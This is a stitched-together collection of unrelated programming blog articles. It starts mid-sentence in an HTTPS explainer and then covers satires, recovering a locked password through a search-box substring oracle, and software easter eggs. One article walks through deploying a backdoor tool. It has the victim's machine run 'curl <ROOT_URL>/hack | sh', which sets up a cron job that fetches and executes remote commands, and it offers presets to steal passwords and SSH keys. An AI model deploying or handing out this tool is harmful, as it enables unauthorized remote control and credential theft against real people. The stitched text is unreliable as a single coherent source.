Now if Mallory intercepts the pigeon she won’t be able to change the message into something meaningful nor understand what it says, because she doesn’t know the code. But Bob can simply apply the code in reverse and decrypt the message where A → D, B → E, C → F. The cipher text “pbzobq jbppxdb” would be decrypted back to “secret message”.

Success!

This is called symmetric key cryptography, because if you know how to encrypt a message you also know how to decrypt it.

The code I described above is commonly known as the Caesar cipher. In real life, we use fancier and more complex codes, but the main idea is the same.

How do we decide the key?

Symmetric key cryptography is very secure if no one apart from the sender and receiver know what key was used. In the Caesar cipher, the key is an offset of how many letters we shift each letter by. In our example we used an offset of 3, but could have also used 4 or 12.

The issue is that if Alice and Bob don’t meet before starting to send messages with the pigeon, they would have no way to establish a key securely. If they send the key in the message itself, Mallory would intercept the message and discover the key. This would allow Mallory to then read or change the message as she wishes before and after Alice and Bob start to encrypt their messages.

This is the typical example of a Man in the Middle Attack and the only way to avoid it is to change the encryption system all together.

Pigeons carrying boxes

So Alice and Bob come up with an even better system. When Bob wants to send Alice a message she will follow the procedure below:

• Bob sends a pigeon to Alice without any message.
• Alice sends the pigeon back carrying a box with an open lock, but keeping the key.
• Bob puts the message in the box, closes the locks and sends the box to Alice.
• Alice receives the box, opens it with the key and reads the message.

This way Mallory can’t change the message by intercepting the pigeon, because she doesn’t have the key. The same process is followed when Alice wants to send Bob a message.

Alice and Bob just used what is commonly known as asymmetric key cryptography. It’s called asymmetric, because even if you can encrypt a message (lock the box) you can’t decrypt it (open a closed box).
In technical speech the box is known as the public key and the key to open it is known as the private key.

How do I trust the box?

If you paid attention you may have noticed that we still have a problem. When Bob receives that open box how can he be sure that it came from Alice and that Mallory didn’t intercept the pigeon and changed the box with one she has the key to?

Alice decides that she will sign the box, this way when Bob receives the box he checks the signature and knows that it was Alice who sent the box.

Some of you may be thinking, how would Bob identify Alice’s signature in the first place? Good question. Alice and Bob had this problem too, so they decided that, instead of Alice signing the box, Ted will sign the box.

Who is Ted? Ted is a very famous, well known and trustworthy guy. Ted gave his signature to everyone and everybody trusts that he will only sign boxes for legitimate people.

Ted will only sign an Alice box if he’s sure that the one asking for the signature is Alice. So Mallory cannot get an Alice box signed by Ted on behalf of her as Bob will know that the box is a fraud because Ted only signs boxes for people after verifying their identity.

Ted in technical terms is commonly referred to as a Certification Authority and the browser you are reading this article with comes packaged with the signatures of various Certification Authorities.

So when you connect to a website for the first time you trust its box because you trust Ted and Ted tells you that the box is legitimate.

Boxes are heavy

Alice and Bob now have a reliable system to communicate, but they realize that pigeons carrying boxes are slower than the ones carrying only the message.

They decide that they will use the box method (asymmetric cryptography) only to choose a key to encrypt the message using symmetric cryptography with (remember the Caesar cipher?).

This way they get the best of both worlds. The reliability of asymmetric cryptography and the efficiency of symmetric cryptography.

In the real world there aren’t slow pigeons, but nonetheless encrypting messages using asymmetric cryptography is slower than using symmetric cryptography, so we only use it to exchange the encryption keys.

Now you know how HTTPS works and your coffee should also be ready. Go drink it you deserved it ?

Roger opened the Medium app on his phone and looked for something interesting to read. He scrolled past articles about how to be more creative. He scrolled past articles about how to be a mega-successful entrepreneur. He scrolled past articles about how to write way more gooder.

He was about to bounce over to Twitter when a headline caught his eye.

Forget Angular. Forget React. Introducing Tupress, the ultimate JavaScript framework.

Hmm, maybe it’s time to finally learn a framework, Roger thought. He had been dabbling in JavaScript for a few months. Why not see what all the framework fuss was about? After skimming the article — which included words like “intuitive” and “flexible” and “versatile” — Roger was sold.

He fired up his MacBook, Googled “Tupress tutorial” and opened the top result. The tutorial said it would teach him how to build a two-deux app. When completed, the app would accept a list of “twos” in English (2, 2, 2, 2, 2, 2) and convert it to French (le 2, le 2, le 2, le 2, le 2, le 2).

Step one, the tutorial said, was to install Tupress. Well, duh. Then Roger had to install Bistup — a lightweight wrapper, whatever that meant. After that, he had to install Claster, which provided a thin unopinionated layer of utility methods and middleware. He didn’t know what that meant either, but installed it anyway.

Finally, he had to install Pirend, a real-time RESTful API micro-service layer for implementing CRUD and AJAX using JSON. That must be important, thought Roger, or it wouldn’t have all those acronyms.

_Installing all the things (credit: [tutsplus](https://webdesign.tutsplus.com/articles/why-i-choose-stylus-and-you-should-too--webdesign-18412" rel="noopener" target="blank" title="))

Now that everything was installed, Roger was excited to start writing some code. But there were a few more steps before he could do that, according to the tutorial. First, he had to install Git, provision a cloud-based database, create a RESTful API server, implement API endpoints, update dependencies, and set up a component-based project structure.

“Yeesh,” yeeshed Roger. That sounds awfully complicated. But I already installed a bajillion things, Roger thought. Can’t quit now.

Two weeks and 179 Google searches later, Roger finally figured out how to get everything set up. He opened a terminal window and typed “tupr start.” Then he opened Chrome and navigated to localhost:3000. According to the tutorial, he should have seen “Tupress works!”

Instead, Roger saw … nothing. A whole lot of nothing. Tupress, sadly, was not working.

“Sigh,” sighed Roger. To figure out what had gone wrong, Roger opened the console in Chrome developer tools. “Yikes,” yiked Roger. What a bloodbath. More red than a Game of Thrones wedding.

_This looks … not good (credit: [Stack Overflow](https://stackoverflow.com/questions/42871478/masses-of-500-internal-server-error-in-console-chrome" rel="noopener" target="blank" title="))

“I just want to write a bit of code and make a simple app,” Roger thought. It shouldn’t be this hard.

Still, he didn’t quit. He cut and pasted each and every console error into Google. He discovered on Stack Overflow that the month-old tutorial used Tupress version 1.3.2, Bistup version 1.2.1, Claster version 3.7.2, and Pirend version 4.2.1.

Roger, on the other hand, had installed the latest versions of each, and they no longer played nice together. Also, Tupress 5 just came out and was completely different than Tupress 1 (there was no Tupress 2, 3 or 4).

On another programming forum, Roger learned that Bistup had fallen out of favor with most developers. It was not lightweight enough. Oh, and Claster wasn’t nearly as thin as promised, apparently. So a developer in Switzerland created an alternative (Focrux.js) that was much better.

Seven weeks later, after uninstalling and reinstalling everything multiple times, reading all of Stack Overflow, watching every YouTube video on JavaScript frameworks, and reading all 13 volumes of You Don’t Know S**t about Tupress, Roger had a Chrome console free of errors.

“Oh yeah,” Roger oh-yeahed.

He opened a terminal window, typed tupr start and started localhost:3000, where, finally, at long last, he saw:

_(credit: [baserails](https://www.baserails.com/blog/debugging-5-common-localhost-errors/" rel="noopener" target="blank" title="))

Candidate: Is this the right place for the interview?

HR Person: Yes, good morning Ms. Smith, please take a seat, we were expecting you. I understand you are applying for the job of Senior Technical Translator. Is that correct?

That is correct. I speak French, Spanish, Italian, and German, and have done translations of both technical and academic documents for the past 7 years. I’m currently focusing in translating medical papers, but I’ve done all sort of translations as you can see in my profile.

That’s great. You seem to have all the requirements and experience for the position. Now, as usual, we would like to test your knowledge on some of your understanding of Linguistics, just to make sure you have the basics.

I understand you are looking for someone to translate manuals and labels for pharmaceutical products, correct?

Indeed. We are looking only for the best A players, who have a strong foundation in all the required aspects of the job.

Right. So… should we get started?

Yes, let’s get started, here I have some introductory questions tailored for the position. Question number one: how did the Arabic invasion in the Iberian Peninsula between the years of 711 and 1492 affected the Spanish language?

I’m sorry?

Do you want me to repeat the question? Here it goes again, how did the Muslim invasion in the Iberian Peninsula–

No, it’s fine, it just took me by surprise, was expecting something more related to the job in question, but I actually know that. Due to the Islamic Conquest of Hispania in the early VII century, and the presence of Arabic speaking individuals in the south of Spain until the Reconquista, the Spanish language acquired and adapted many words from the Arabic language. For instance, the word in Spanish for chess, “ajedrez” comes from الشطرنج (ash shatranj).

_History of the Spanish Language, just in case you need it for your next interview — credits to [Wikipedia](https://en.wikipedia.org/wiki/History_of_the_Spanish_language" rel="noopener" target="blank" title=")

Excellent answer, exactly what I have here in my questionnaire, you got extra points for even giving an example. Second question: this author created “Colorless green ideas sleep furiously”, as an example of a grammatically correct sentence that is semantically nonsensical.

Is that a question?

Yes, of course.

I’m sorry, I just didn’t notice we were doing Jeopardy. Noam Chomsky?

Great, in which book did he write this example?

What? I have no idea, I studied Chomsky when I was back in college, now I focus mostly in translations which require no–

That’s a pity. It’s Syntactic Structures, written in 1957. Oh well, actually we only have most new grads being able to answer that part.

I wonder why…

_If you invert the following tree, it will still make no sense — credits to [Wikipedia](https://en.wikipedia.org/wiki/Colorless_green_ideas_sleep_furiously#/media/File:Syntax_tree.svg" rel="noopener" target="blank" title=")

Right. So next question: the words “pater”, “father”, “Vater”, are from Latin, English, and German respectively; we can see in some cases the “p” evolved to a “v”, but in others evolved to a “f”. The words “piscis”, “fish”, and “Fisch”, in the other hand–

I’m very sorry to interrupt you, but before we go on, can I ask what these question have to do with the actual job? The job description said you were looking for a Technical Translator, and so far you haven’t tested any of my translating abilities and instead focused only in Linguistics.

Yes, I can see the confusion. You see, we are looking for the very best Translators, and it has been proven by major companies that the people that are able to do the job best have a very solid foundation in the science translation is based in, such as Linguistics and Classics.

For sure, I have a Bachelor’s degree in Latin and Ancient Greek and Master’s Degree in Linguistics, but I haven’t done any of academical work in the past years.

Oh, so you DO have the qualifications to answer these questions.

Yes, but I haven’t done any research or work in the past years that requires THAT specific knowledge. Are you doing any research or improvement on any specific field that requires deep knowledge in Linguistics?

No, we do pharmaceutical translations for our clients.

Great, so why don’t we test my abilities for translating instead? I’m pretty sure you have a few examples there that I could translate right?

Oh yes, good idea, let’s pass to the written exercises then. Please follow me to the following whiteboard, and grab a marker, we are going to do a few translation exercises to assess your skills.

Whiteboard?

Yes, here’s the following text, please translate:

ΠΕΡΙ ΤΟΥ ΠΑΙΔΟΣ ΤΟΥ ΕΠΙΒΙΟΝΤΟΣ

…that’s Ancient Greek.

Yes, that’s right.

Do you need to do translations from Ancient Greek for the job?

Haha, of course not.

Then, why… you know what, forget it, let’s do this. Do you have a Dictionary I could borrow for a second to translate?

Oh, the goal of the exercise is to be able to translate it directly, here in the whiteboard and nothing else. If you need though, you can use pencil and paper.

Wait, what? Why? Even for normal translations I always have a Dictionary to support me for a word or two, why would you test Ancient Greek and not have an Ancient Greek dictionary at hand?

Right, studies from major companies have shown that–

Forget it. Just give me a second ok? I think I recognize that text from somewhere. Let me… “the kid who lived?”

Yes! Great work!

Is that… is that from Harry Potter?

_You know, in case you want to brush up your Ancient Greek — credit to [Amazon](https://www.amazon.com/Harry-Potter-Philosophers-Stone-Ancient/dp/158234826X" rel="noopener" target="blank" title=")

Oh, no, that’s from the answer sheet in the “Cracking the Translating Interview: 150 Linguistic Questions and Solutions.”

No, I mean, that IS from the Harry Potter book, chapter 1. That’s the title.

How would I know? I’m not a translator.

I know, I’m just pointing out the fact that it’s from a very well known text, and probably easy to recognize for people.

Right, but that’s good isn’t it? It means people prepared for interview questions like these.

Yeah, scripted interview questions. Look, I’m really not comfortable answering questions on the spot, I usually have some time to figure out the best way to do a translation.

I see. Well, there are other things we are looking in the candidates we are willing to hire. Have you won any trans-comps?

I beg your pardon?

Yeah, you know, trans-comps, Translation Competitions. Those were you put a bunch of documents in Sanskrit, throw some beverages and pizza, and invite translators everywhere to lock themselves down for 48 hours to see who can translate those the fastest. Sometimes they add free prizes to spice things up. Have you ever won any of those?

No, I haven’t done any “translation competitions”.

That’s a shame, we are really looking for trans-comps winners.

Please stop saying trans-comps.

Ok, by the way, how are your calligraphy skills?

My calligraphy skills?

Yes, I mean, you know that we are a big company, but our team works as an independent startup, so sometimes we not only have our translators do the translation, but also do some writing as well, and the perfect candidate would have excellent calligraphy.

So you just want the same person do the job of two people? What else are you looking in a candidate, someone to package the products as well?

Yes! We call those full-package translators.

Sigh… you mentioned something about the team working as a startup? What is that suppose to mean?

It means we do Agile. Everything is in a flat structure, except when it comes to salary and responsibilities. We have a Translator Master, that coordinates all the other Translators in Sprints.

Translator Master? That sounds fancy. How many languages does the Translator Master speak? Do we get assistance from him if we are stuck in a translation or anything?

Oh, he actually only speaks English, and well, sometimes we don’t understand him very well. He’s Australian, so his accent is hard to grasp sometimes, but hey, he’s Agile certified, really good organising other people, and keeping track of what everyone’s translating.

You can’t be serious. You are asking me about Ancient Greek in an interview, and my manager wouldn’t be able to even know what that is? Can you give me a good reason on why this is a good company to work for?

Well, here you will learn things you can’t learn in any other company, while still making a great impact in the world. You’ll do something meaningful, and you will never be bored. It’s an ultra high growth environment with multiple opportunities for rapid development in many areas.

… you translate labels for pharmaceutical products.

Yes, we are changing the world, one label at a time.

Note to self: when we send a rejection letter to this candidate, be sure to include feedback that is too vague to be of any use to them, but will avoid any lawsuits.

(Kinda.)

Hack the planet, everybody.

I have no self-control.

Luckily, I know this about myself. This allows me to consciously engineer my life so that despite having the emotional maturity of a heroin-addicted lab rat, I’m occasionally able to get things done.

I waste a lot of time on Reddit. If I want to procrastinate on something, I’ll often open a new tab and dive down a Reddit-hole. But sometimes you need to turn on the blinders and dial down distractions. 2015 was one of these times — I was singularly focused on improving as a programmer, and Redditing was becoming a liability.

I needed an abstinence plan.

So it occurred to me: how about I lock myself out of my account?

Here’s what I did:

I set a random password on my account. Then I asked a friend to e-mail me this password on a certain date. With that, I’d have a foolproof way to lock myself out of Reddit. (Also changed the e-mail for password recovery to cover all the bases.)

This should have worked.

Unfortunately it turns out, friends are very susceptible to social engineering. The technical terminology for this is that they are “nice to you” and will give you back your password if you “beg them.”

After a few rounds of this failure mode, I needed a more robust solution. A little Google searching, and I came across this:

Looks legit.

Perfect — an automated, friend-less solution! (I’d alienated most of them by now, so that was a big selling point.)

A bit sketchy looking, but hey, any port in a storm.

For a while I set this up this routine — during the week I’d e-mail myself my password, on the weekends I’d receive the password, load up on internet junk food, and then lock myself out again once the week began. It worked quite well from what I remember.

Eventually I got so busy with programming stuff, I completely forgot about it.

Cut to two years later.

I’m now gainfully employed at Airbnb. And Airbnb, it so happens, has a large test suite. This means waiting, and waiting of course means internet rabbit holes.

I decide to scrounge up my old account and find my Reddit password.

Oh no. That’s not good.

I didn’t remember doing this, but I must have gotten so fed up with myself that I locked myself out until 2018. I also set it to “hide,” so I couldn’t view the contents of the e-mail until it’s sent.

What do I do? Do I just have to create a new Reddit account and start from scratch? But that’s so much work.

I could write in to LetterMeLater and explain that I didn’t mean to do this. But they would probably take a while to get back to me. We’ve already established I’m wildly impatient. Plus this site doesn’t look like it has a support team. Not to mention it would be an embarrassing e-mail exchange. I started brainstorming elaborate explanations involving dead relatives about why I needed access to the e-mail…

All of my options were messy. I was walking home that night from the office pondering my predicament, when suddenly it hit me.

The search bar.

I pulled up the app on my mobile phone and tried it:

Hmm.

Okay. So it’s indexing the subject for sure. What about the body?

I try a few letters, and voila. It’s definitely got the body indexed. Remember: the body consisted entirely of my password.

Essentially, I’ve been given an interface to perform substring queries. By entering in a string into the search bar, the search results will confirm whether my password contains this substring.

We’re in business.

I hurry into my apartment, drop my bag, and pull out my laptop.

Algorithms problem: you are given a function substring?(str), which returns true or false depending on whether a password contains any given substring. Given this function, write an algorithm that can deduce the hidden password.

The Algorithm

So let’s think about this. A few things I know about my password: I know it was a long string with some random characters, probably something along the lines of asgoihej2409g. I probably didn’t include any upper-case characters (and Reddit doesn’t enforce that as a password constraint) so let’s assume for now that I didn’t — in case I did, we can just expand the search space later if the initial algorithm fails.

We also have a subject line as part of the string we’re querying. And we know the subject is “password”.

Let’s pretend the body is 6 characters long. So we’ve got six slots of characters, some of which may appear in the subject line, some of which certainly don’t. So if we take all of the characters that aren’t in the subject and try searching for each of them, we know for sure we’ll hit a unique letter that’s in the password. Think like a game of Wheel of Fortune.

We keep trying letters one by one until we hit a match for something that’s not in our subject line. Say we hit it.

Once I’ve found my first letter, I don’t actually know where in this string I am. But I know I can start building out a bigger substring by appending different characters to the end of this until I hit another substring match.

We’ll potentially have to iterate through every character in our alphabet to find it. Any of those characters could be correct, so on average it’ll hit somewhere around the middle, so given an alphabet of size A, it should average out to A/2 guesses per letter (let’s assume the subject is small and there are no repeating patterns of 2+ characters).

I’ll keep building this substring until it eventually hits the end and no characters can extend it further.

But that’s not enough — most likely, there will be a prefix to the string that I missed, because I started in a random place. Easy enough: all I have to do is now repeat the process, except going backwards.

Once the process terminates, I should be able to reconstruct the password. In total, I’ll need to figure outL characters(where L is the length), and need to expend on average A/2 guesses per character (where A is the alphabet size), so total guesses = A/2 * L.

To be precise, I also have to add another 2A to the number of guesses for ascertaining that the string has terminated on each end. So the total is A/2 * L + 2A, which we can factor as A(L/2 + 2).

Let’s assume we have 20 characters in our password, and an alphabet consisting of a-z (26) and 0–9 (10), so a total alphabet size of 36. So we’re looking at an average of 36 * (20/2 + 2) = 36 * 12 = 432 iterations.

Damn.

This is actually doable.

The Implementation

First things first: I need to write a client that can programmatically query the search box. This will serve as my substring oracle. Obviously this site has no API, so I’ll need to scrape the website directly.

Looks like the URL format for searching is just a simple query string, www.lettermelater.com/account.php?**qe=#{query_here}**. That’s easy enough.

Let’s start writing this script. I’m going to use the Faraday gem for making web requests, since it has a simple interface that I know well.

I’ll start by making an API class.

Of course, we don’t expect this to work yet, as our script won’t be authenticated into any account. As we can see, the response returns a 302 redirect with an error message provided in the cookie.

[10] pry(main)> Api.get(“foo”)

=> #<Faraday::Response:0x007fc01a5716d8

...

{“date”=>”Tue, 04 Apr 2017 15:35:07 GMT”,

“server”=>”Apache”,

“x-powered-by”=>”PHP/5.2.17",

“set-cookie”=>”msg_error=You+must+be+signed+in+to+see+this+page.”,

“location”=>”.?pg=account.php”,

“content-length”=>”0",

“connection”=>”close”,

“content-type”=>”text/html; charset=utf-8"},

status=302>

So how do we sign in? We need to send in our cookies in the header, of course. Using Chrome inspector we can trivially grab them.

(Not going to show my real cookie here, obviously. Interestingly, looks like it’s storing user_id client-side which is always a great sign.)

Through process of elimination, I realize that it needs both code and user_id to authenticate me… sigh.

So I add these to the script. (This is a fake cookie, just for illustration.)

[29] pry(main)> Api.get(“foo”)=> “\n<!DOCTYPE HTML PUBLIC \”-//W3C//DTD HTML 4.01//EN\” \”http://www.w3.org/TR/html4/strict.dtd\">\n<html>\n<head>\n\t<meta http-equiv=\”content-type\” content=\”text/html; charset=UTF-8\” />\n\t<meta name=\”Description\” content=\”LetterMeLater.com allows you to send emails to anyone, with the ability to have them sent at any future date and time you choose.\” />\n\t<meta name=\”keywords\” content=\”schedule email, recurring, repeating, delayed, text messaging, delivery, later, future, reminder, date, time, capsule\” />\n\t<title>LetterMeLater.com — Account Information</title>…

[30] pry(main)> _.include?(“Haseeb”)=> true

It’s got my name in there, so we’re definitely logged in!

We’ve got the scraping down, now we just have to parse the result. Luckily, this pretty easy — we know it’s a hit if the e-mail result shows up on the page, so we just need to look for any string that’s unique when the result is present. The string “password” appears nowhere else, so that will do just nicely.

That’s all we need for our API class. We can now do substring queries entirely in Ruby.

[31] pry(main)> Api.include?('password')

=> true

[32] pry(main)> Api.include?('f')

=> false

[33] pry(main)> Api.include?('g')

=> true

Now that we know that works, let’s stub out the API while we develop our algorithm. Making HTTP requests is going to be really slow and we might trigger some rate-limiting as we’re experimenting. If we assume our API is correct, once we get the rest of the algorithm working, everything should just work once we swap the real API back in.

So here’s the stubbed API, with a random secret string:

We’ll inject the stubbed API into the class while we’re testing. Then for the final run, we’ll use the real API to query for the real password.

So let’s get started with this class. From a high level, recalling my algorithm diagram, it goes in three steps:

1. First, find the first letter that’s not in the subject but exists in the password. This is our starting off point.
2. Build those letters forward until we fall off the end of the string.
3. Build that substring backwards until we hit the beginning of the string.

Then we’re done!

Let’s start with initialization. We’ll inject the API, and other than that we just need to initialize the current password chunk to be an empty string.

Now let’s write three methods, following the steps we outlined.

Perfect. Now the rest of the implementation can take place in private methods.

For finding the first letter, we need to iterate over each character in the alphabet that’s not contained in the subject. To construct this alphabet, we’re going to use a-z and 0–9. Ruby allows us to do this pretty easily with ranges:

ALPHABET = ((‘a’..’z’).to_a + (‘0’..’9').to_a).shuffle

I prefer to shuffle this to remove any bias in the password’s letter distribution. This will make our algorithm query A/2 times on average per character, even if the password is non-randomly distributed.

We also want to set the subject as a constant:

SUBJECT = ‘password’

That’s all the setup we need. Now time to write find_starting_letter. This needs to iterate through each candidate letter (in the alphabet but not in the subject) until it finds a match.

In testing, looks like this works perfectly:

PasswordCracker.new(ApiStub).send(:find_starting_letter!) # => 'f'

Now for the heavy lifting.

I’m going to do this recursively, because it makes the structure very elegant.

The code is surprisingly straightforward. Let’s see if it works with our stub API.

[63] pry(main)> PasswordCracker.new(ApiStub).crack!

f

fj

fjp

fjpe

fjpef

fjpefo

fjpefoj

fjpefoj4

fjpefoj49

fjpefoj490

fjpefoj490r

fjpefoj490rj

fjpefoj490rjg

fjpefoj490rjgs

fjpefoj490rjgsd

=> “fjpefoj490rjgsd”

Awesome. We’ve got a suffix, now just to build backward and complete the string. This should look very similar.

In fact, there’s only two lines of difference here: how we construct the guess, and the name of the recursive call. There’s an obvious refactoring here, so let’s do it.

Now these other calls simply reduce to:

And let’s see how it works in action:

Apps-MacBook:password-recovery haseeb$ ruby letter_me_now.rb

Current password: 9

Current password: 90

Current password: 90r

Current password: 90rj

Current password: 90rjg

Current password: 90rjgs

Current password: 90rjgsd

Current password: 90rjgsd

Current password: 490rjgsd

Current password: j490rjgsd

Current password: oj490rjgsd

Current password: foj490rjgsd

Current password: efoj490rjgsd

Current password: pefoj490rjgsd

Current password: jpefoj490rjgsd

Current password: fjpefoj490rjgsd

Current password: pfjpefoj490rjgsd

Current password: hpfjpefoj490rjgsd

Current password: 0hpfjpefoj490rjgsd

Current password: 20hpfjpefoj490rjgsd

Current password: 420hpfjpefoj490rjgsd

Current password: g420hpfjpefoj490rjgsd

g420hpfjpefoj490rjgsd

Beautiful. Now let’s just add some more print statements and a bit of extra logging, and we’ll have our finished PasswordCracker.

And now… the magic moment. Let’s swap the stub with the real API and see what happens.

The Moment of Truth

Cross your fingers…

PasswordCracker.new(Api).crack!

(Sped up 3x)

Boom. 443 iterations.

Tried it out on Reddit, and login was successful.

Wow.

It… actually worked.

Recall our original formula for the number of iterations: A(N/2 + 2). The true password was 22 characters, so our formula would estimate 36 * (22/2 + 2) = 36 * 13 = 468 iterations. Our real password took 443 iterations, so our estimate was within 5% of the observed runtime.

Math.

It works.

Embarrassing support e-mail averted. Reddit rabbit-holing restored. It’s now confirmed: programming is, indeed, magic.

(The downside is I am now going to have to find a new technique to lock myself out of my accounts.)

And with that, I’m gonna get back to my internet rabbit-holes. Thanks for reading, and give it a like if you enjoyed this!

—Haseeb

My friends often leave their computers open and unlocked. I tell them they should probably get in the habit of locking their computers, but they don’t listen to me. So I’ve created a simple project to hack my friends and show them the importance of computer security.

All I need to do is wait for them to leave their computer unlocked for a few seconds, open up their terminal, and type a single, short command.

That’s it! Their computer is now infected and I can run whatever commands I want on this computer remotely. Pretty sweet, right? Or perhaps shocking?

Hacking is illegal. Specifically:

“intentionally access[ing] a computer without authorization or exceed[ing] authorized access” — The Computer Fraud and Abuse Act (18 U.S.C. 1030)

So keep in mind that the purpose of this article is to show you just how easy it would be for someone with bad intentions to hack you so you can avoid getting hacked yourself.

It doesn’t take some hacker genius to wreck your life — any “script kiddy” who can gain physical access to your computer can compromise you by downloading a script containing just 50 lines of code.

Getting Setup

All of the code for this project lives in this repository if you want to jump right in, but I’ll explain how it all works below.

First, you just need to clone the repo, install its dependencies, and symlink the hack command line interface (CLI) tool.

git clone https://github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

Next, you need to setup Heroku to host the scripts that will be running on your friends machine. If you’ve never used Heroku before, signup here (it’s free!) and set up their CLI tool on your machine.

brew install heroku-toolbeltheroku login

Now inside the hack repo, create a Heroku app with an easy name to remember. I’m using hacker-chet.

heroku create hacker-chet

Then you need to run a command to do a little setup. All it’s really doing is getting the root url for your Heroku website and putting it in your package.json. This way the server can inject the app url into the shell scripts.

npm run init

You can start up the server locally if you want to hack yourself and test things out.

npm start

Or you can deploy to Heroku.

npm run deploy

Now you’re ready to hack!

Hack API

The beauty of this program is that to start hacking someone, you just need to run a single command on their machine.

curl <ROOT_URL>/hack | sh

_ROOTURL is the specific path to your application. When you’re running the server locally, this will be localhost:5000 and when you deploy to Heroku, it will be something like _.herokua_pp.com.

What this does is sets up a cron job — a “chronological job” that reruns tasks at certain times — to ping the /env/live endpoint every minute and pipes the result to sh. It’s actually quite simple! And Heroku gives you HTTPS for free so its “secure” right?

Once you’ve hacked your friend, you can do everything else with the command line tool from your computer.

The hack tool has a concept of different hacked environments. When you hack someone using the /hack endpoint, that person starts off in the live environment. And for each environment, you can run a variety of different commands. I’ll demonstrate everything with a little walkthrough.

The following will rewrite the live environment shell script to execute the following command which will say aloud “I’m watching you.”

hack live exec "say 'I\'m watching you'"

Well it’s not going to work yet, you still have to re-deploy to your Heroku app.

hack deploy

Now wait for the next minute and watch your friend’s computer ping your server by tailing the server logs.

hack logs

The whole point of environments is so you can hack multiple people at the same time. To isolate people in different environments, you just need to change the name.

hack live rename jon

Next time the live environment is pinged, it will rewrite the cron job to start pinging the jon environment instead.

You can do everything the same just by changing the environment argument.

hack jon exec "say 'hello jon'"

Now if you’ve had enough fun for the day and the party’s over, you can forget Jon and assure him that you’ve “unhacked” him.

hack jon forget

This will erase the cron job from their computer. Or you might want to just put this environment in sleeper-cell mode so you can recover it later.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week   (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month  (range: 1-31)| +---------- Hour              (range: 0-23)+------------ Minute            (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop http://i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!

Fortunately, Google and friends did manage to serve up some absurdity, and in some cases quite literally break the forth wall:

They also introduced a useful new way to use Google Image Search:

And — one of the biggest communication breakthroughs of all time — a new way to end the tyranny of indecisive group emails once and for all:

Remember the iPad scale app?

Well, you may not remember it actually working like in the image above, but surely you remember that conversation at the Genius Bar where you unsuccessfully argued for a refund.

Well it turns out that touch screen devices can do a lot more than measure your body weight and show you cat videos while you procrastinate on the toilet.

Yuck. Don’t you know how many germs are on your touch screen? Oh, wait — you don’t know the exact number? Well, if you’re a curious cat, here’s a 13-step process for figuring this out.

It will be a few years before self-driving cars are legally allowed on most roads, but you can use a “selfie-driving” car today.

If it seems like Zipcar was trying too hard, trust me — you haven’t seen trying too hard until you’ve played this full length Donkey Kong-style browser game that Stack Overflow built as their April Fool’s joke.

That’s right — UniKong!

To win, you must avoid the mean unicorn, build up your Stack Overflow-style “rep”, and put the trolls out of their misery.

Yes, this is an actual game, and you yes, you should go play it right now.

What are you doing reading this article?

Click the green heart outline below, then head over and play some Unikong!

If you liked this, click the? below. Follow me and Free Code Camp for more articles on technology.

I’ve had enough chocolate over the last few days to last me a lifetime. Or at least until next week. But I’m still thinking about easter eggs and, specifically, easter eggs in software.

For the uninitiated, easter eggs is the name of those hidden features and secret messages that programmers are so fond of sneaking into their work. These secret messages are entirely incidental to the purpose of the software they’re hidden in; typical easter egg content can include photos or names of the developers, jokey pop culture references, mini games, and other flights of fancy that happen to tickle a programmer’s funny bone*.

Easter eggs can be found within even the most buttoned-down, serious software. Microsoft developers famously hid entire pinball games and flight simulators in early versions of Excel. Google developers are well known for sneaking jokes and animations into their search and maps products. I once released online corporate training software which would play the James Bond theme song if you created an asset with a numerical ID of 007.

As corny as they may be, easter eggs bring a warm glow to my otherwise cold, dark heart.

It’s not because they are universally hilarious (they’re not), or because they are the most interesting things to code (they aren’t), but because they’re evidence of something easily forgotten: software, for the most part, is written by humans, for humans.

That may sound obvious, but in truth the relationship between software developer and software user is distant and relatively abstract.

To programmers, users exist in the future. Developers build software with hypothetical users in mind, modeled according to a combination of demographic data and functional requirements. A user is an initiator of system tasks, a bundle of needs which the system is aiming to satisfy. Users are archetypes, not individuals.

And what are programmers to users? Anonymous and impersonal, programmers wrangle impenetrable arcana into page upon page of coded gibberish. Programmers talk to machines so that other people don’t have to (the more unkind amongst you may have even mentally rephrased that to read “machines listen to programmers so that other people don’t have to”).

To the casual observer, raw code resembles functional software in much the same way that a cup of flour, some warm water and a ball of yeast resembles a crusty loaf of fresh bread.

But when your spreadsheet Rickrolls you, or when Google slyly answers your search for “anagram” by asking “did you mean nag a ram?”, something cool is happening. For a few seconds the relationship is no longer abstract. It’s personal. The functional process of requirement-task-result is fleetingly replaced with something more like communication.

An easter egg is a conversation between humans. An acknowledgement that no matter how much time and space is between us, this software was made by real people, for real people. Not programmer and user, but me and you.

Finding an easter egg in your software is proof of its human origin, like finding the baker’s fingertip in that crusty loaf of bread we were talking about a couple of paragraphs ago. Except not as disgusting or alarming. And probably the fingertip wasn’t left in there deliberately. I mean, what kind of deranged baker leaves severed body parts inside loaves of bread for people to…actually, you know what? This is a terrible analogy. Forget the whole fingertip thing. I’m sorry I brought it up.

My point (and I can make a point here because, unlike a demented baker, I still have fingertips with which to point) is that I love easter eggs because they’re like handprints in cement or heart-encircled initials scratched onto the underside of a desk. They are a message in a bottle, cast into the ocean and declaring, in the unlikely event that they are found, simply: here we are.

It’s hard to think of anything more human than that.

*You can see a stellar example of an easter egg at http://digg.com/.

